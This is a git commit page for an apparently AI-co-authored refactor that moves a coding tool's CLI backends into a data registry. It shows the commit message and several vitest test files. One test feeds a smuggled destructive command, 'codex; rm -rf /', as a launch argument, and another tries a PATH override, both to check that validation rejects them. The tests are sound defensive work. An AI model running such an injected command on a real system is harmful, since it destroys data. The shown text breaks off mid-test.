refactor(cli-registry): make CLI backends data instead of per-mode branching

Every run mode is now a `CliEntry` in `src/config/cli-registry/` — discovery
(search dirs, version + identity probes), the launch argv template, env
handling, the `capabilities` flags that replace per-CLI branching, and the
`overlays` that back the remote/docker pane commands. Code that used to ask
"which CLI is this?" reads the entry instead.

Behaviour is unchanged. `test/cli-registry-spawn-golden.test.ts` pins every
spawn command as a literal string, captured from the hand-written builders
before they were deleted, and `test/location-overlay-commands.test.ts` does the
same for all 20 remote and in-container pane commands.

Config can never contain shell text: an entry declares typed argv tokens,
literals are validated against a safe-word pattern at LOAD time (a bad literal
rejects the whole entry — a silently dropped `--no-approve` is not cosmetic),
and values resolve through patterns NAMED in code, so a user `clis.json` cannot
widen its own validation. `~/.codeman/clis.json` overrides any entry, read-only
in this release.

OMP is included as a registry entry rather than a tenth hand-written builder,
so `buildOmpCommand()`, the omp availability pre-flight, the omp arm of
`buildPathExport()` and the omp entries in the truecolor/NO_COLOR, alt-screen
and doctor ladders all drop out.

Guard rails:

- `test/cli-registry-no-id-branching.test.ts` fails the build if per-CLI-id
  branching reappears outside `stock.ts`, in any of its four shapes (`===`,
  `!==`, `switch`/`case`, `includes`) — an `===`-only version would miss the
  negated forms, which is how 36 of them survived an earlier pass. Every
  allowlisted branch carries its reason.
- `external`, `hooks` and `altScreen` stay three INDEPENDENT capabilities;
  deriving one from another shipped the `until=stop`-hangs-on-shell bug.
- `param` is two namespaces. `launch.params` keys, `configSetenv.fromParam` and
  `privilegedParams[].param` all name a LAUNCH param; the legacy `<Mode>Config`
  wire field is separate, bridged only by `legacyConfigAliases`. Getting
  `privilegedParams[].param` wrong is SILENT — it is the multi-user bypass
  clamp's only handle on a CLI's privilege switch, and a wrong name clamps
  nothing with no error and no failing test — so `schema.ts` rejects an entry
  naming a param it never declared.
- Registry data resolves AT CALL TIME (`sessionModeSchema()`,
  `allowedEnvPrefixes()`, `dependencyRegistry()`, the resolvers' `searchDirs`
  thunks). A module-level const freezes at first import, so a CLI enabled while
  the server ran moved the run menu but not that surface.
- Six fields are annotated DECLARED-FOR-LATER and read by nothing
  (`shortBadge`, `accent`, `capabilities.echo`/`wheelForward`/
  `keyboardAccessory`/`maxFrameBytes`): all frontend behaviour, transcribed
  rather than measured. A test pins the list so it cannot quietly grow.

Three user-visible changes, all deliberate and named:

- `probeDockerCliVersion()` derives the in-container binary from the registry
  rather than assuming it equals the mode name (`antigravity` runs `agy`).
- The remote CLI version probe now covers grok and deepseek, which the
  hardcoded map it replaces omitted while its own comment said the rule was
  "every mode except shell".
- `codeman doctor`'s CLI rows are generated from the entries, so Claude's
  install hint is the install command rather than a docs URL, five CLIs gain
  hints they never had, and the row order follows the catalog.

Also hardened along the way: `sessionModeSchema()` is bounded at 24 chars
(matching the `cliId` pattern) before its failure message quotes the value
back, and `deepMerge` skips `__proto__`/`constructor`/`prototype` when reading
the hand-editable `clis.json`.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01WQkoi1cNegqVwZHgzx5SbJ
This commit is contained in:
Devvyn
2026-09-02 08:26:45 +08:00
co-authored by Claude Opus 5
parent 71ffbf18e4
commit 4830e662f9
45 changed files with 5772 additions and 1478 deletions
+26 -9
View File
@@ -48,7 +48,7 @@ import { describe, expect, it } from 'vitest';
import { readFileSync } from 'node:fs';
import { fileURLToPath } from 'node:url';
import { join } from 'node:path';
import { CreateSessionSchema, QuickStartSchema } from '../src/web/schemas.js';
import { CreateSessionSchema, QuickStartSchema, sessionModeIds } from '../src/web/schemas.js';
import { isExternalCliMode } from '../src/session.js';
import { hooksAvailableForMode } from '../src/web/session-wait-registry.js';
import type { SessionMode } from '../src/types/session.js';
@@ -63,14 +63,20 @@ const SKILL_FILES = [
'reference/verbs.md',
];
/** Modes the API actually accepts, read off the schema rather than restated here. */
function schemaModes(schema: typeof CreateSessionSchema | typeof QuickStartSchema): SessionMode[] {
// `mode` is `z.enum([...]).optional()`; unwrap the optional to reach `.options`.
return (schema as unknown as { shape: { mode: { unwrap(): { options: SessionMode[] } } } }).shape.mode.unwrap()
.options;
/**
* Modes the API actually accepts, read off the runtime source of truth rather than restated
* here — the whole point of this file is to catch the skill docs drifting from what the API
* takes, which a second hardcoded list could not do.
*
* `mode` used to be a `z.enum([...])` whose `.options` this unwrapped. It is now resolved at
* parse time from the enabled CLI registry (so enabling a CLI does not need a restart), and
* there is no frozen member list on the schema to read; `sessionModeIds()` is that list.
*/
function schemaModes(): SessionMode[] {
return sessionModeIds() as SessionMode[];
}
const MODES = schemaModes(CreateSessionSchema);
const MODES = schemaModes();
const EXTERNAL_MODES = MODES.filter(isExternalCliMode);
/**
@@ -101,10 +107,21 @@ function modesIn(run: string): SessionMode[] {
}
describe('agent skill run-mode lists', () => {
it('derives the mode list from the schema, and both endpoints agree', () => {
it('derives the mode list from the registry, and both endpoints agree', () => {
expect(MODES).toContain('pi');
expect(new Set(schemaModes(QuickStartSchema))).toEqual(new Set(MODES));
expect(EXTERNAL_MODES.length).toBeGreaterThan(1);
// Guard against a parsing/registry regression silently making every scan below vacuous.
expect(MODES.length).toBeGreaterThanOrEqual(9);
// Both endpoints now share one mode validator, so comparing member lists would compare
// a thing with itself. Parse through each schema instead: that survives the two
// drifting apart later, which is what this assertion is actually for.
for (const mode of MODES) {
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode }).success).toBe(true);
expect(QuickStartSchema.safeParse({ caseName: 'demo', mode }).success).toBe(true);
}
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'not-a-cli' }).success).toBe(false);
expect(QuickStartSchema.safeParse({ caseName: 'demo', mode: 'not-a-cli' }).success).toBe(false);
});
it('documents the CLI availability probe for every agent mode', () => {
+101
View File
@@ -0,0 +1,101 @@
/**
* @fileoverview The three per-mode predicates that used to be hand-written id lists, and the
* invariant that they are INDEPENDENT.
*
* `isExternalCliMode()`, `isAltScreenStripMode()` and `hooksAvailableForMode()` describe three
* different, deliberately unequal sets. Deriving any one of them from another looks like a
* tidy-up and has already shipped a bug: `shell` has no hooks but is NOT an external CLI, so
* a hooks predicate written as `!isExternalCliMode()` accepted `until=stop` on a shell session
* and then blocked the caller for their entire timeout — an infinite wait wearing a timeout's
* clothes, which is precisely what that guard exists to prevent.
*
* Keeping them as three separate `CliCapabilities` fields makes that structural. This file is
* what stops someone collapsing them again.
*
* Port: none (pure predicates over registry data).
*/
import { describe, it, expect } from 'vitest';
import { isExternalCliMode, isAltScreenStripMode } from '../src/session.js';
import { hooksAvailableForMode } from '../src/web/session-wait-registry.js';
import { enabledCliIds } from '../src/config/cli-registry/registry.js';
import type { SessionMode } from '../src/types/session.js';
const MODES = enabledCliIds() as SessionMode[];
describe('per-mode capability predicates', () => {
it.each([
// mode external altScreenStrip hooks
['claude', false, true, true],
['shell', false, false, false],
['opencode', true, false, false],
['codex', true, true, false],
['gemini', true, true, false],
['antigravity', true, false, false],
['pi', true, false, false],
['grok', true, false, false],
['deepseek', true, false, true],
['omp', true, false, false],
] as Array<[SessionMode, boolean, boolean, boolean]>)(
'%s: external=%s altScreenStrip=%s hooks=%s',
(mode, external, altScreen, hooks) => {
expect(isExternalCliMode(mode)).toBe(external);
expect(isAltScreenStripMode(mode)).toBe(altScreen);
expect(hooksAvailableForMode(mode)).toBe(hooks);
}
);
it('covers every enabled mode (sanity)', () => {
// If a CLI is added without a row above, this fails rather than the table silently
// describing a subset of reality.
expect(MODES.length).toBe(10);
});
it('keeps the three predicates genuinely distinct', () => {
// Not "they happen to differ today" — each pair differs on a NAMED mode, and each of
// those disagreements is load-bearing.
const external = MODES.filter(isExternalCliMode);
const altScreen = MODES.filter(isAltScreenStripMode);
const hooks = MODES.filter((m) => hooksAvailableForMode(m));
expect(external).not.toEqual(altScreen);
expect(external).not.toEqual(hooks);
expect(altScreen).not.toEqual(hooks);
// claude is the mode that separates all three: not external, IS stripped, HAS hooks.
expect(isExternalCliMode('claude')).toBe(false);
expect(isAltScreenStripMode('claude')).toBe(true);
expect(hooksAvailableForMode('claude')).toBe(true);
// deepseek is external AND has hooks — the pairing that makes "external ⇒ no hooks" false.
expect(isExternalCliMode('deepseek')).toBe(true);
expect(hooksAvailableForMode('deepseek')).toBe(true);
});
it('does not accept a hook-only wait on a shell session', () => {
// The exact historical bug, reproduced. `shell` is not external, so any hooks predicate
// derived from `isExternalCliMode` would answer true here and hang the caller.
expect(isExternalCliMode('shell')).toBe(false);
expect(hooksAvailableForMode('shell')).toBe(false);
});
it("treats deepseek's hooks as a per-SESSION question, not a per-mode one", () => {
// 'supervised': real signals, but only while this session's bridge is actually armed and
// reachable. Answering from the mode alone promises a `stop` that never arrives.
expect(hooksAvailableForMode('deepseek')).toBe(true);
expect(hooksAvailableForMode('deepseek', { deepSeekStatusReporting: false })).toBe(false);
expect(hooksAvailableForMode('deepseek', { deepSeekBridgeUnreachable: true })).toBe(false);
// claude's are unconditional, so the same options change nothing.
expect(hooksAvailableForMode('claude', { deepSeekStatusReporting: false })).toBe(true);
expect(hooksAvailableForMode('claude', { deepSeekBridgeUnreachable: true })).toBe(true);
});
it('falls back conservatively for an unregistered mode', () => {
const unknown = 'not-a-cli' as SessionMode;
// External: disables Claude-specific parsing rather than pointing it at foreign output.
expect(isExternalCliMode(unknown)).toBe(true);
// No hooks: never promise a signal nothing will send.
expect(hooksAvailableForMode(unknown)).toBe(false);
// No full strip: leaving the alt screen alone is the safe default for an unknown TUI.
expect(isAltScreenStripMode(unknown)).toBe(false);
});
});
+228
View File
@@ -0,0 +1,228 @@
/**
* @fileoverview Loading and merging `~/.codeman/clis.json` over the stock catalog.
*
* Two properties matter most here and neither is obvious from reading the loader:
*
* 1. A BAD OVERRIDE MUST NOT BRICK A SHIPPED CLI. The file is hand-editable, so a typo is a
* matter of when, not if. A stock entry that fails validation after merge falls back to
* its pristine definition; a custom entry that fails is dropped. Neither takes the rest
* of the catalog down with it.
* 2. LOADING WRITES NOTHING. There is no settings UI and no write API in this build, so
* there is nothing to persist — and `src/web/schemas.ts` imports the registry just to
* validate a request, which would make any write here a filesystem side effect of
* parsing HTTP input.
*
* Port: none (`resolveRegistry` is pure; the on-disk cases use the per-file temp HOME from
* test/setup.ts).
*/
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
import { existsSync, mkdirSync, readdirSync, readFileSync, writeFileSync } from 'node:fs';
import { dirname } from 'node:path';
import { dataPath } from '../src/config/instance.js';
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
import { resolveRegistry, loadCliRegistry, reloadCliRegistry, listClis } from '../src/config/cli-registry/registry.js';
import type { CliEntry } from '../src/config/cli-registry/types.js';
import { CreateSessionSchema, sessionModeIds } from '../src/web/schemas.js';
/** A complete, valid custom entry — the minimum a user would have to write by hand. */
function customEntry(id: string): Record<string, unknown> {
const template = STOCK_CLIS.find((e) => (e.id as string) === 'pi');
if (!template) throw new Error('pi is missing from the stock catalog');
return JSON.parse(JSON.stringify({ ...template, id, label: 'Custom', order: 999 })) as Record<string, unknown>;
}
function writeRegistryFile(contents: unknown): void {
const path = dataPath('clis.json');
mkdirSync(dirname(path), { recursive: true });
writeFileSync(path, typeof contents === 'string' ? contents : JSON.stringify(contents, null, 2), { mode: 0o600 });
}
describe('resolveRegistry (pure)', () => {
it('returns the stock catalog unchanged when there is no file', () => {
const warnings: string[] = [];
const { entries } = resolveRegistry(STOCK_CLIS, null, warnings);
expect(warnings).toEqual([]);
expect(entries.map((e) => e.id as string)).toEqual(STOCK_CLIS.map((e) => e.id as string));
expect(entries.every((e) => e.stock)).toBe(true);
});
it('applies a partial override without disturbing anything else', () => {
const warnings: string[] = [];
const { entries } = resolveRegistry(STOCK_CLIS, { schemaVersion: 1, clis: { grok: { enabled: false } } }, warnings);
expect(warnings).toEqual([]);
const byId = new Map(entries.map((e) => [e.id as string, e]));
expect(byId.get('grok')?.enabled).toBe(false);
// The override touched one key; everything else about grok, and every other CLI, stands.
expect(byId.get('grok')?.launch.variants[0].args[0]).toEqual({ lit: 'grok' });
expect(entries.filter((e) => e.enabled).length).toBe(STOCK_CLIS.length - 1);
});
it('replaces arrays wholesale rather than merging them element-wise', () => {
// A half-merged searchDirs (or worse, a half-merged args list) is not a reasonable
// thing to hand a spawn path, so arrays replace.
const warnings: string[] = [];
const { entries } = resolveRegistry(
STOCK_CLIS,
{ schemaVersion: 1, clis: { pi: { discovery: { searchDirs: ['/only/this'] } } } },
warnings
);
expect(entries.find((e) => (e.id as string) === 'pi')?.discovery.searchDirs).toEqual(['/only/this']);
});
it('adds a well-formed custom entry', () => {
const warnings: string[] = [];
const { entries } = resolveRegistry(
STOCK_CLIS,
{ schemaVersion: 1, clis: { mycli: customEntry('mycli') } },
warnings
);
expect(warnings).toEqual([]);
const mine = entries.find((e) => (e.id as string) === 'mycli');
expect(mine?.label).toBe('Custom');
// Forced false regardless of what the file claimed — provenance is not user-assertable.
expect(mine?.stock).toBe(false);
});
it('drops an invalid custom entry but keeps the whole stock catalog', () => {
const warnings: string[] = [];
const { entries } = resolveRegistry(
STOCK_CLIS,
{ schemaVersion: 1, clis: { broken: { label: 'nope' } } },
warnings
);
expect(entries.map((e) => e.id as string)).toEqual(STOCK_CLIS.map((e) => e.id as string));
expect(warnings.join(' ')).toContain('broken');
});
it('falls back to the PRISTINE definition when an override breaks a stock CLI', () => {
// This is the one that matters: a fat-fingered override of a shipped CLI must degrade to
// the shipped behaviour, never to a CLI that cannot launch.
const warnings: string[] = [];
const { entries } = resolveRegistry(
STOCK_CLIS,
{
schemaVersion: 1,
clis: { codex: { launch: { variants: [{ id: 'x', args: [{ lit: 'codex; rm -rf /' }] }] } } },
},
warnings
);
const codex = entries.find((e) => (e.id as string) === 'codex');
expect(codex?.launch.variants[0].args[0]).toEqual({ lit: 'codex' });
expect(warnings.join(' ')).toContain('codex');
});
it('refuses to let a custom entry impersonate a stock one', () => {
const warnings: string[] = [];
const impostor = { ...customEntry('grok'), stock: true, label: 'Not Grok' };
const { entries } = resolveRegistry(STOCK_CLIS, { schemaVersion: 1, clis: { grok: impostor } }, warnings);
const grok = entries.filter((e) => (e.id as string) === 'grok');
expect(grok).toHaveLength(1);
expect(grok[0].stock).toBe(true);
});
it('sorts by order', () => {
const { entries } = resolveRegistry(STOCK_CLIS, null, []);
const orders = entries.map((e) => e.order);
expect([...orders].sort((a, b) => a - b)).toEqual(orders);
});
});
describe('loadCliRegistry (on disk)', () => {
beforeEach(() => reloadCliRegistry());
afterEach(() => reloadCliRegistry());
it('WRITES NOTHING when no file exists', () => {
const path = dataPath('clis.json');
expect(existsSync(path)).toBe(false);
const { entries, warnings } = loadCliRegistry();
expect(entries).toHaveLength(STOCK_CLIS.length);
expect(warnings).toEqual([]);
// The whole reason this build has no seeding ratchet: importing the registry (which
// schemas.ts does, to validate a request) must not touch the filesystem.
expect(existsSync(path)).toBe(false);
});
it('WRITES NOTHING when a file does exist', () => {
writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } });
const before = readFileSync(dataPath('clis.json'), 'utf-8');
loadCliRegistry();
expect(readFileSync(dataPath('clis.json'), 'utf-8')).toBe(before);
});
it('tolerates a file written by a future version that carries seededStockIds', () => {
// Forward compatibility: a later build persists that key. Reading it must not fail.
writeRegistryFile({ schemaVersion: 1, seededStockIds: ['claude', 'shell'], clis: {} });
const { entries, warnings } = loadCliRegistry();
expect(entries).toHaveLength(STOCK_CLIS.length);
expect(warnings).toEqual([]);
});
it('QUARANTINES malformed JSON rather than overwriting it', () => {
// The file is hand-editable, so a syntax error is far more likely to be a half-finished
// edit than junk. Renaming keeps the user's work; truncating would destroy it.
writeRegistryFile('{ "clis": { oops');
const { entries, warnings } = loadCliRegistry();
expect(entries).toHaveLength(STOCK_CLIS.length);
expect(warnings.join(' ')).toContain('not valid JSON');
const siblings = readdirSync(dirname(dataPath('clis.json')));
expect(siblings.some((f) => f.startsWith('clis.json.invalid-'))).toBe(true);
expect(siblings).not.toContain('clis.json');
});
});
describe('the mode allowlist resolves at PARSE time, not import time', () => {
beforeEach(() => reloadCliRegistry());
afterEach(() => reloadCliRegistry());
it('stops accepting a mode as soon as its CLI is disabled — no restart', () => {
// The regression this pins: SESSION_MODE_IDS used to be computed once at module load,
// so toggling a CLI updated the Run menu while `POST /api/sessions` kept answering
// INVALID_INPUT until the server restarted. Validation and the menu disagreed about
// which CLIs existed, and the flow the feature was built around simply did not work.
expect(sessionModeIds()).toContain('grok');
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'grok' }).success).toBe(true);
writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } });
reloadCliRegistry();
expect(sessionModeIds()).not.toContain('grok');
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'grok' }).success).toBe(false);
// ...and the schema object itself was never rebuilt.
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'claude' }).success).toBe(true);
});
it('admits a custom CLI as a run mode the moment it loads', () => {
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'mycli' }).success).toBe(false);
writeRegistryFile({ schemaVersion: 1, clis: { mycli: customEntry('mycli') } });
reloadCliRegistry();
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'mycli' }).success).toBe(true);
});
it('follows the registry for env-prefix allowlisting too', () => {
// Same import-time freeze applied to ALLOWED_ENV_PREFIXES, with the same symptom.
const withGrokEnv = { workingDir: '/tmp', mode: 'claude', envOverrides: { XAI_API_KEY: 'x' } };
expect(CreateSessionSchema.safeParse(withGrokEnv).success).toBe(true);
writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } });
reloadCliRegistry();
// XAI_ was grok's contribution; with grok disabled nothing allowlists it any more.
expect(CreateSessionSchema.safeParse(withGrokEnv).success).toBe(false);
});
it('never lets a registry entry unblock a hard-blocked key', () => {
// BLOCKED_ENV_KEYS is deliberately NOT registry-driven. Even a pathological entry
// claiming a prefix that covers everything must not reach PATH.
const evil = customEntry('evil');
(evil as { env: { allowedPrefixes: string[] } }).env.allowedPrefixes = ['P'];
writeRegistryFile({ schemaVersion: 1, clis: { evil } });
reloadCliRegistry();
// The schema rejects a 1-char prefix outright, so the entry is dropped...
expect(listClis().some((e) => (e.id as string) === 'evil')).toBe(false);
// ...and PATH stays blocked regardless.
expect(
CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'claude', envOverrides: { PATH: '/evil' } }).success
).toBe(false);
});
});
+370
View File
@@ -0,0 +1,370 @@
/**
* @fileoverview Static guard: no code outside the stock catalog branches on a CLI's ID.
*
* The whole point of the registry is that behaviour which differs between CLIs is DATA (a
* `CliEntry` field) or a NAMED PROFILE selected by a field — never `mode === 'codex'`. A
* single reintroduced id-check is how the old shape grows back, one "just this once" at a
* time, until adding a CLI means editing forty files again.
*
* This guard was cited by name in three separate file headers of an earlier attempt at this
* refactor and never actually written — and in its absence four id-branches survived that
* migration, one of them dead code sitting directly under the generic check that replaced it.
* So the guard is not decoration: it is the thing that makes the rule true rather than
* aspirational.
*
* ## What is allowlisted, and why an allowlist rather than zero
*
* Some branches are not CLI-behaviour branches at all, and forcing them through a capability
* would make the code worse, not better. Each entry below carries its reason. The categories:
*
* - **Legacy `<Mode>Config` plumbing.** `POST /api/sessions` has carried named per-CLI
* config objects since before the registry, and `docs/versioning-policy.md` makes that
* wire shape public. Selecting `codexConfig` for codex is a fact about the HTTP API, not
* about codex, and the `Session` constructor mirrors it. The registry already owns the
* translation (`launch.legacyConfigField`); collapsing the constructor too is a public-API
* change and belongs in its own PR.
* - **Claude's remote/docker command construction.** Claude's pane command varies with the
* session's permission mode and its docker form is `--session-id … || resume`, semantics
* no other CLI has and a static `overlays.command` string cannot express.
* - **Genuinely per-CLI prose.** One error message that explains why a deepseek session in
* particular will never deliver a `stop` signal.
*
* ⚠️ Adding an entry here is a decision, not a formality. If the branch is about what a CLI
* CAN DO, it belongs in `CliCapabilities` instead — and if it needs to run code, in
* `config/cli-registry/profiles.ts` as a named profile.
*
* Port: none (pure static analysis).
*/
import { describe, it, expect } from 'vitest';
import { readdirSync, readFileSync, statSync } from 'node:fs';
import { join, relative, sep } from 'node:path';
import { fileURLToPath } from 'node:url';
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
const SRC = fileURLToPath(new URL('../src', import.meta.url));
/**
* Files exempt from the scan entirely, because naming CLI ids IS their job.
*
* `stock.ts` is the catalog. The per-CLI resolver modules are each ABOUT one CLI and look up
* their own entry by id — the same reason the catalog may, and the reason they are not a
* loophole: they resolve a binary, they decide no behaviour.
*/
const EXEMPT_FILES = new Set(
[
'config/cli-registry/stock.ts',
'utils/claude-cli-resolver.ts',
'utils/opencode-cli-resolver.ts',
'utils/codex-cli-resolver.ts',
'utils/gemini-cli-resolver.ts',
'utils/antigravity-cli-resolver.ts',
'utils/pi-cli-resolver.ts',
'utils/grok-cli-resolver.ts',
'utils/deepseek-cli-resolver.ts',
// Names the deepseek launcher profile's implementation; keyed by profile, not by id.
'utils/cli-launcher.ts',
].map((p) => p.split('/').join(sep))
);
/**
* Specific surviving branches, each with the reason it is not a capability.
* Keyed `<relative path>::<the matched expression>`.
*/
const ALLOWED_BRANCHES: Record<string, string> = {
// --- Legacy <Mode>Config plumbing (public wire shape, see the header) ---
"web/routes/session-routes.ts::mode === 'opencode'": 'legacy <Mode>Config plumbing',
"web/routes/session-routes.ts::mode === 'codex'": 'legacy <Mode>Config plumbing',
"web/routes/session-routes.ts::mode === 'gemini'": 'legacy <Mode>Config plumbing',
"web/routes/session-routes.ts::mode === 'antigravity'": 'legacy <Mode>Config plumbing',
"web/routes/session-routes.ts::mode === 'pi'": 'legacy <Mode>Config plumbing',
"web/routes/session-routes.ts::mode === 'grok'": 'legacy <Mode>Config plumbing',
"web/routes/session-routes.ts::mode === 'deepseek'": 'legacy <Mode>Config plumbing',
"web/server.ts::mode === 'opencode'": 'legacy <Mode>Config plumbing (session recovery)',
"web/server.ts::mode === 'codex'": 'legacy <Mode>Config plumbing (session recovery)',
"web/server.ts::mode === 'gemini'": 'legacy <Mode>Config plumbing (session recovery)',
"web/server.ts::mode === 'antigravity'": 'legacy <Mode>Config plumbing (session recovery)',
"web/server.ts::mode === 'pi'": 'legacy <Mode>Config plumbing (session recovery)',
"web/server.ts::mode === 'grok'": 'legacy <Mode>Config plumbing (session recovery)',
"web/server.ts::mode === 'deepseek'": 'legacy <Mode>Config plumbing (session recovery)',
"web/server.ts::mode === 'omp'": 'legacy <Mode>Config plumbing (session recovery)',
// --- Claude's remote/docker command construction ---
"tmux-manager.ts::mode === 'claude'":
"claude's remote pane command carries per-session permission flags, and its docker form is " +
'`--session-id … || resume`; neither fits a static overlays.command string',
// --- Per-CLI prose and launch handling not yet generalised ---
"web/session-wait-registry.ts::mode === 'deepseek'":
'an error message explaining why THIS mode in particular will never deliver a stop signal',
"web/routes/approval-routes.ts::mode === 'deepseek'":
'the DeepSeek status bridge is the only non-claude source of approval items',
"cron/cron-service.ts::mode === 'claude'": 'cron launch handling, not yet generalised',
"cron/cron-service.ts::mode === 'shell'": 'cron launch handling, not yet generalised',
"web/routes/session-routes.ts::mode === 'claude'": 'docker case bookkeeping keyed on the claude conversation id',
"cli.ts::mode === 'shell'": 'a CLI-table label, not behaviour',
// --- Negated forms surfaced when BRANCH_PATTERN widened past `===` (see its comment) ---
//
// None of these is a regression: every one predates the registry and survived the
// conversion only because the guard could not see `!==`. They are listed here with reasons
// rather than silently converted, because each would change behaviour or invent a
// capability field, and this change is meant to change nothing a user can see.
// Read My Mind + intent capture read CLAUDE's OWN transcript, so `mode === 'claude'` is
// the right question and `hooksAvailableForMode()` is NOT — once `deepseek` earned a yes
// there, the shared predicate silently widened both to a mode with no transcript to read.
// CLAUDE.md documents this as deliberate and `test/deepseek-mode.test.ts` pins it, so a
// capability here would be actively wrong.
"web/routes/readmymind-routes.ts::mode !== 'claude'":
'deliberately mode-not-capability; pinned by deepseek-mode.test.ts',
"web/server.ts::mode !== 'claude'":
"intent capture reads Claude's own transcript, and the recovered-workspace hook sweep " +
'writes .claude hooks — both are claude questions, not capability ones (see CLAUDE.md)',
// The TUI is a CLIENT of the server, and these two are about what it can offer for a row:
// resume builds a `claude --resume`, and the mode badge is suppressed for the default mode
// purely so the common case reads clean. The badge one is cosmetic and not a capability at
// all; the resume one would need a "resumable from a claude transcript" field that nothing
// else would read.
"tui/tui-app.ts::mode !== 'claude'": 'TUI resume builds a claude --resume; claude-transcript-only by construction',
"tui/tui-render.ts::mode !== 'claude'": 'cosmetic: suppress the mode badge for the default mode',
// Push approve/deny BUTTONS are withheld for dsh because the answer route refuses
// keystrokes for its dialogs (third-party TUI, unmeasured contract) — a button whose
// answer would be refused is worse than none. Arguably wants an "answerable dialogs"
// capability; deliberately not invented here.
"web/routes/hook-event-routes.ts::mode !== 'deepseek'":
'push buttons withheld where the answer route refuses keystrokes',
// Legacy <Mode>Config plumbing, same category as the `===` entries above.
"web/routes/session-routes.ts::mode !== 'omp'": 'legacy <Mode>Config plumbing (resolveOmpConfigForCreate)',
// ⚠️ Scaffolded-case hooks. This chain excludes seven CLIs but NOT `deepseek`, while its
// own comment says DeepSeek uses its own system — so a scaffolded deepseek case gets a
// Claude hooks block written into it. That inconsistency is UPSTREAM's and predates this
// change; expressing the chain as a capability would have to pick a side and would
// therefore be a behaviour change. Left exactly as found, and named here so it is visible.
"web/routes/session-routes.ts::mode !== 'opencode'":
'scaffolded-case hooks + the COD-91 self-heal skip; the chain omits deepseek upstream, ' +
'so any capability form would change behaviour — see PR discussion',
"web/routes/session-routes.ts::mode !== 'codex'": 'scaffolded-case hooks (see the opencode entry)',
"web/routes/session-routes.ts::mode !== 'gemini'": 'scaffolded-case hooks (see the opencode entry)',
"web/routes/session-routes.ts::mode !== 'antigravity'": 'scaffolded-case hooks (see the opencode entry)',
"web/routes/session-routes.ts::mode !== 'pi'": 'scaffolded-case hooks (see the opencode entry)',
"web/routes/session-routes.ts::mode !== 'grok'": 'scaffolded-case hooks (see the opencode entry)',
};
/** Every stock CLI id, derived rather than restated so a new entry is covered automatically. */
const IDS = STOCK_CLIS.map((e) => e.id as string);
const ID_ALT = IDS.join('|');
/**
* The shapes an id-branch actually takes, all four of them.
*
* ⚠️ An earlier version of this guard matched `===` ONLY, and that was not a small gap: the
* refactor it guards converted the `===` sites and left the negated ones, so 36
* `mode !== '<id>'` branches survived it — 28 in session-routes.ts alone, including a
* seven-mode chain auto-enabling Ralph under a comment asking the next person to keep it in
* step with a predicate BY HAND, while the sibling quick-start path already read
* `capabilities.ralph`. A guard that sees half the shapes reports a count measured over the
* half it happens to catch.
*
* `switch`/`case` and `[...].includes(mode)` are here for the same reason: each is a way of
* writing the banned rule that the narrower pattern could not see.
*/
const BRANCH_PATTERN = new RegExp(
[
// mode === 'codex' / mode !== 'codex'
`\\b(?:mode|id|agentType)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
// case 'codex':
`\\bcase\\s+'(?:${ID_ALT})'\\s*:`,
// ['codex', 'gemini'].includes(mode) — the id list IS the branch, wherever `mode` sits
`'(?:${ID_ALT})'\\s*(?:,\\s*'(?:${ID_ALT})'\\s*)*\\]\\s*\\.includes\\(`,
].join('|'),
'g'
);
/**
* BLANK comment lines before scanning, rather than dropping them. Comments legitimately quote
* the very pattern being banned — several of them explain WHY a branch was removed — and
* flagging those would push the next author to delete the explanation rather than the code.
*
* ⚠️ Blanking rather than removing is what keeps reported line numbers pointing at the real
* file. Dropping the lines shifted every finding upward by however many comments preceded it,
* so the guard's own diagnostic sent you to the wrong place — which for a rule about not
* writing a branch is exactly the moment you need the right one.
*/
function uncommented(source: string): string {
return source
.split('\n')
.map((line) => (/^\s*(\/\/|\*|\/\*)/.test(line) ? '' : line))
.join('\n');
}
function walk(dir: string, out: string[] = []): string[] {
for (const name of readdirSync(dir)) {
const full = join(dir, name);
if (statSync(full).isDirectory()) walk(full, out);
else if (name.endsWith('.ts')) out.push(full);
}
return out;
}
interface Finding {
file: string;
expression: string;
line: number;
key: string;
}
function scan(): { findings: Finding[]; filesScanned: number } {
const findings: Finding[] = [];
const files = walk(SRC);
let scanned = 0;
for (const full of files) {
const rel = relative(SRC, full);
if (EXEMPT_FILES.has(rel)) continue;
scanned++;
const lines = uncommented(readFileSync(full, 'utf-8')).split('\n');
lines.forEach((line, i) => {
BRANCH_PATTERN.lastIndex = 0; // shared /g regex — see utils/regex-patterns.ts
for (const match of line.matchAll(BRANCH_PATTERN)) {
const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType)/, 'mode');
const posix = rel.split(sep).join('/');
findings.push({ file: posix, expression, line: i + 1, key: `${posix}::${expression}` });
}
});
}
return { findings, filesScanned: scanned };
}
const { findings, filesScanned } = scan();
describe('no CLI-id branching outside the stock catalog', () => {
it('scans a meaningful number of source files (sanity)', () => {
// If this collapses toward zero the walker or the exemption list drifted and every
// assertion below would pass vacuously. Fix the scanner, do not delete the test.
expect(filesScanned).toBeGreaterThan(100);
});
it('builds its id list from the live catalog (sanity)', () => {
expect(IDS).toContain('claude');
expect(IDS).toContain('deepseek');
expect(IDS.length).toBeGreaterThanOrEqual(9);
});
it('still detects a branch when one exists (anti-vacuity)', () => {
// Proves the pattern actually matches every shape it is meant to ban, so a regex typo
// cannot silently turn this whole file into a no-op. One case per alternative, because
// the `===`-only version of this test passed happily while `!==` went unseen.
const samples = [
"if (session.mode === 'codex') { doSomething(); }",
"if (mode !== 'shell' && mode !== 'deepseek') { doSomething(); }",
"switch (mode) { case 'gemini': return 1; }",
"if (['codex', 'gemini'].includes(mode)) { doSomething(); }",
];
for (const sample of samples) {
